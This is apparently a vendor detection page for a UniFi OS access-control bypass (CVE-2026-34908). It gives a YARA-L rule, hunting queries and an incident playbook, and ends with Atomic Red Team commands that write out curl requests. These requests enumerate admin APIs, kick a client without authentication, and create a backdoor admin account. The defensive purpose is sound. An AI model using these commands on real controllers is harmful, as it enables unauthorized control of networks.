Detect CVE-2026-34908 — Ubiquiti UniFi OS Improper Access Control Exploitation in Google Chronicle
Detects exploitation attempts targeting CVE-2026-34908, an improper access control vulnerability (CWE-284) in Ubiquiti UniFi OS. This vulnerability is listed on the CISA Known Exploited Vulnerabilities catalog and allows attackers to bypass access controls on UniFi OS devices. Detection focuses on unauthorized API access, anomalous management plane requests, and lateral movement patterns consistent with UniFi controller compromise.
MITRE ATT&CK
YARA-L Detection Query
rule cve_2026_34908_unifi_access_control_bypass {
meta:
author = "df00tech Detection Engineering"
description = "Detects potential exploitation of CVE-2026-34908 - Ubiquiti UniFi OS Improper Access Control"
severity = "CRITICAL"
priority = "HIGH"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-34908"
cve = "CVE-2026-34908"
events:
$e.metadata.event_type = "NETWORK_HTTP"
$e.network.http.response_code = 200 or
$e.network.http.response_code = 201 or
$e.network.http.response_code = 204
(
re.regex($e.network.http.request_url, `/api/s/default/cmd/`) or
re.regex($e.network.http.request_url, `/proxy/network/api/s/default/cmd/`) or
re.regex($e.network.http.request_url, `/api/system`) or
re.regex($e.network.http.request_url, `/api/admin`)
)
(
re.regex($e.principal.hostname, `(?i)unifi`) or
re.regex($e.target.hostname, `(?i)unifi`) or
re.regex($e.target.hostname, `(?i)ubiquiti`)
)
$e.principal.ip = $src_ip
$e.target.ip = $dst_ip
match:
$src_ip, $dst_ip over 10m
outcome:
$risk_score = max(
if($e.network.http.response_code = 200, 50, 0) +
if(re.regex($e.network.http.request_url, `/cmd/`), 50, 0)
)
$event_count = count_distinct($e.metadata.id)
$endpoints = array_distinct($e.network.http.request_url)
condition:
#e >= 2
}Chronicle YARA-L rule detecting repeated successful HTTP access to privileged UniFi OS administrative API paths. Triggers when two or more successful responses are observed to command or system endpoints on UniFi infrastructure within a 10-minute window.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate administrator sessions using UniFi Network application performing bulk operations
- Cloud-managed UniFi controllers communicating with managed devices during provisioning
- Automated configuration compliance checks run by network operations teams
- UniFi remote access sessions via Ubiquiti cloud relay infrastructure
Other platforms for CVE-2026-34908
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated UniFi OS Admin API Enumeration
Expected signal: Network logs showing HTTP GET requests to multiple /api/ paths on the target UniFi controller IP, returning HTTP status codes that vary by endpoint accessibility.
- Test 2Unauthorized UniFi OS Command Endpoint Access
Expected signal: Network logs showing a POST request to /api/s/default/cmd/stamgr on the target IP with a JSON body. A 200 response with an action response body indicates the access control bypass is exploitable.
- Test 3UniFi OS New Admin User Creation via API Bypass
Expected signal: Network logs showing a POST to /api/s/default/rest/admin with a 200 or 201 response. UniFi controller audit log should record a new admin creation event without a corresponding login event from the source IP.
References (4)
- https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-34908
Response Playbook
Triage
- Identify the source IP(s) making requests to UniFi OS administrative API endpoints and determine whether they belong to known administrator workstations, management subnets, or external/unexpected IP ranges.
- Review the specific API endpoints accessed (e.g., /api/s/default/cmd/, /api/system) and the HTTP methods used. Privileged command endpoints accessed via GET or POST without a preceding authentication event are strong indicators of access control bypass.
- Correlate the timeframe of suspicious API requests with authentication logs from the UniFi controller to determine whether a valid session token was presented. Absence of a prior login event for the source IP is a key indicator.
- Check the UniFi OS firmware version on all affected controllers against the patched version referenced in the Ubiquiti Security Advisory Bulletin 064 to confirm exposure.
- Enumerate all configuration changes, device adoptions, or VPN/SSID modifications made via the UniFi API during the suspicious window to assess the scope of potential unauthorized changes.
Containment
- Immediately isolate the affected UniFi OS controller from the network management plane by blocking inbound connections on management ports (TCP 443, 8443, 8080) from all sources except known-good administrator IP addresses using perimeter firewall ACLs.
- Rotate all UniFi OS administrator credentials, revoke active API tokens and sessions, and disable remote access features (UniFi Remote Access / cloud portal linkage) until the controller is patched and verified clean.
- If exploitation is confirmed, quarantine the UniFi controller device for forensic imaging before applying patches, as firmware updates may overwrite volatile evidence.
Evidence Collection
- Export UniFi OS system logs from /var/log/ on the controller (accessible via SSH to the UniFi OS device) covering the full suspected compromise window, preserving timestamps and HTTP access logs.
- Capture a full packet capture (PCAP) of management plane traffic to/from the affected controller's management IP using an out-of-band tap or network sensor, focusing on TCP ports 443 and 8443.
- Document all network topology changes, adopted devices, WLAN configurations, and VPN client changes visible in the UniFi controller's audit log (Settings > System > Activity) for the suspicious timeframe.
Escalation Criteria
- !Escalate to incident response if unauthorized devices have been adopted into the UniFi network or if network configurations (SSIDs, VLANs, firewall rules) have been modified without authorization, indicating the attacker has taken control of the network infrastructure.
- !Escalate immediately if the compromised UniFi OS controller manages network segments that contain sensitive systems (OT/ICS, healthcare, financial, or PCI-scoped infrastructure), as unauthorized network access control changes could enable lateral movement across trust boundaries.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
UniFi OS HTTP access logs at /var/log/unifi/ showing requests to /api/s/default/cmd/ and /api/system with 200-series responses from unexpected source IPs - >
UniFi controller database (MongoDB) audit collection showing configuration changes, new admin user creation, or device adoption events without corresponding legitimate administrator sessions - >
Network flow records (NetFlow/IPFIX) showing unexpected inbound connections to UniFi management ports from external or unrecognized IP addresses
Tuning Guidance
Establish a baseline of known UniFi administrator source IP ranges and add them to an allowlist to suppress false positives from legitimate management traffic. Raise the request_count threshold from 3 to 10+ for lower-sensitivity environments with active automated tooling. In environments where UniFi controllers are behind a reverse proxy or load balancer, ensure source IP preservation (X-Forwarded-For headers) is enabled to avoid all traffic appearing to originate from the proxy. Consider scoping detections to only flag requests originating from RFC1918 address space that is not in the designated management VLAN, which would indicate east-west movement through the network rather than direct external access.
Hunting Queries
Retrospective 7-day hunt for write operations (POST/PUT/DELETE) to UniFi OS API that returned success codes, aggregated hourly. Elevated counts from unexpected sources indicate potential unauthorized configuration changes consistent with CVE-2026-34908 exploitation.
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where RequestURL has_any ("/api/s/default/", "/proxy/network/api/s/default/")
| where RequestMethod in ("POST", "PUT", "DELETE")
| where ResponseCode in ("200", "201", "204")
| summarize
Actions = make_set(RequestURL),
Count = count(),
SourceIPs = make_set(SourceIP)
by bin(TimeGenerated, 1h), DestinationHostName
| where Count >= 5
| order by Count descindex=network (uri_path="/api/s/default/*" OR uri_path="/proxy/network/api/s/default/*") method IN ("POST", "PUT", "DELETE") status IN (200, 201, 204) earliest=-7d
| stats count AS action_count, values(uri_path) AS actions, values(src_ip) AS sources BY dest_host, span(1h)
| where action_count >= 5
| sort - action_countAtomic Red Team Tests
Simulates an attacker probing the UniFi OS API without credentials to identify accessible administrative endpoints, consistent with the initial reconnaissance phase of CVE-2026-34908 exploitation.
Command
TARGET_IP="192.168.1.1"; for endpoint in "/api/self" "/api/s/default/stat/sta" "/api/s/default/stat/device" "/api/s/default/cmd/stamgr"; do echo "[*] Testing $endpoint"; curl -sk -o /dev/null -w "%{http_code} - $endpoint\n" "https://${TARGET_IP}${endpoint}"; doneCleanup
No cleanup required — read-only HTTP requests generate no persistent state on the test system.Expected Telemetry
Network logs showing HTTP GET requests to multiple /api/ paths on the target UniFi controller IP, returning HTTP status codes that vary by endpoint accessibility.
Expected Detection
Detection should fire on the pattern of sequential requests to multiple UniFi API paths from a single source IP, particularly if the source is not in the known management subnet.
Simulates sending a POST request to a privileged UniFi OS command endpoint without valid authentication to test whether the access control bypass vulnerability is present.
Command
TARGET_IP="192.168.1.1"; curl -sk -X POST "https://${TARGET_IP}/api/s/default/cmd/stamgr" -H 'Content-Type: application/json' -d '{"cmd":"kick-sta","mac":"00:11:22:33:44:55"}' -w "\nHTTP Status: %{http_code}\n" -o /tmp/unifi_response.json; cat /tmp/unifi_response.jsonCleanup
rm -f /tmp/unifi_response.jsonExpected Telemetry
Network logs showing a POST request to /api/s/default/cmd/stamgr on the target IP with a JSON body. A 200 response with an action response body indicates the access control bypass is exploitable.
Expected Detection
Detection should trigger on a successful POST to a /cmd/ endpoint without a prior authentication event from the same source IP within the session window.
Simulates an attacker creating a persistent backdoor administrator account on a vulnerable UniFi OS controller by sending an unauthenticated or access-control-bypassed API request to the admin creation endpoint.
Command
TARGET_IP="192.168.1.1"; curl -sk -X POST "https://${TARGET_IP}/api/s/default/rest/admin" -H 'Content-Type: application/json' -d '{"name":"lab_backdoor","email":"[email protected]","x_password":"LabTestP@ss1!","role":"admin","requires_new_password":false}' -w "\nHTTP Status: %{http_code}\n" -o /tmp/unifi_admin_resp.json; cat /tmp/unifi_admin_resp.jsonCleanup
If the test succeeds, log in to the UniFi OS controller with legitimate credentials and delete the lab_backdoor account from Settings > Admins. Remove temp file: rm -f /tmp/unifi_admin_resp.jsonExpected Telemetry
Network logs showing a POST to /api/s/default/rest/admin with a 200 or 201 response. UniFi controller audit log should record a new admin creation event without a corresponding login event from the source IP.
Expected Detection
Detection should alert on successful POST to /rest/admin endpoint correlated with absence of a prior authentication event, indicating unauthorized account creation via the access control bypass.